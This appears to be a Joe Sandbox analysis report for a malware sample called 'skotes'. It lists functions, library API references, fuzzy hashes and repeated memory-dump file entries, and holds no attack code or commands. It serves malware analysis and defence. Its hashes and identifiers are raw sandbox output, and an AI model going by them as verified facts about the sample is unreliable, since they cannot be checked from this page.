Instruction Fuzzy Hash: E4E022B3608210AF9211CA58E5585F6BBB4FACA634330886EF053CB001E3A10859D272

Function 05160ED0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1088c20441fabcbbcdde7f61b3649a6118ff56e0fcc4c94d90afd288a7448d
Instruction ID: 7d2b162a603cadb0297f1910dfae9cdc47ba33bc65b6c3309ffba67ce6722d48
Opcode Fuzzy Hash: 8b1088c20441fabcbbcdde7f61b3649a6118ff56e0fcc4c94d90afd288a7448d
Instruction Fuzzy Hash: DBD02BB35085025FD330A9BC154D0A5B774F94D135338067EE0F38B182E75292938252

Non-executed Functions

Function 007A0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0F62

Part of subcall function 007A265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 007A2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007A0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007A10C1

Strings

(, xrefs: 007A0F22

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 50ebecc5478a007ad4bbb93b58d068148cd0505f16759cda8ced7de93bdc78c7
Instruction ID: 371e56bbaf1fe685a82353e79f6e26f864e8a0b7f8a1de39ff48b4aa3cb2d768
Opcode Fuzzy Hash: 50ebecc5478a007ad4bbb93b58d068148cd0505f16759cda8ced7de93bdc78c7
Instruction Fuzzy Hash: E8B17FB0A01615EFDB28CF58D980B7AB7B5FF89304F14866DE905AB641D338ED81CB94

Function 007A1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007A2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007A2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 007A1614

Part of subcall function 007A2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 007A2E39
Part of subcall function 007A2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 007A2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 007A1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007A17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007A17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 007A17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007A180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007A181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 007A1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 007A183B

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: c853a1e94f47dd981b7945d769441c66857e07ee2ab483787123c3af67214b9c
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 37817871E002259FCB08CFA8C584A6DB7F6FF89304F1586ADE445AB702DB34AD52CB80

Function 007AEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AEC81

Part of subcall function 007A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007A8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007AECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 007AECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 007AED0C

Part of subcall function 007AE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007AE7D7
Part of subcall function 007AE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007AE86F
Part of subcall function 007AE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AE879
Part of subcall function 007AE7AF: Concurrency::location::_Assign.LIBCMT ref: 007AE8AD
Part of subcall function 007AE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE8B5

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 537443d8a4d19eb2e72d36c853d1ae1304ba8621087a32b5bd7bfe44c3a4ff70
Instruction ID: f4153978ef90b5e883ba26f1e04e172897687438527517401e5a2c10930b3ae2
Opcode Fuzzy Hash: 537443d8a4d19eb2e72d36c853d1ae1304ba8621087a32b5bd7bfe44c3a4ff70
Instruction Fuzzy Hash: 3F51A531A01205EFCF24DF60C899BADB775EF85310F158169E9067B396CB78AE05CBA1

Function 0079CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0079CBAA

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: abd4a547c94ff981b129a32ee52978f4679d5981bc153406a3618fe538043846
Instruction ID: 781ee6303d977e359de3a83f93a5c632e0651c186dc7cb6e1d62c096602ecc0c
Opcode Fuzzy Hash: abd4a547c94ff981b129a32ee52978f4679d5981bc153406a3618fe538043846
Instruction Fuzzy Hash: 8AB09232A1383447CE522B14BC4869D7768AA84F1130A9156D801AB2248A192E824BDC

Function 0079DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
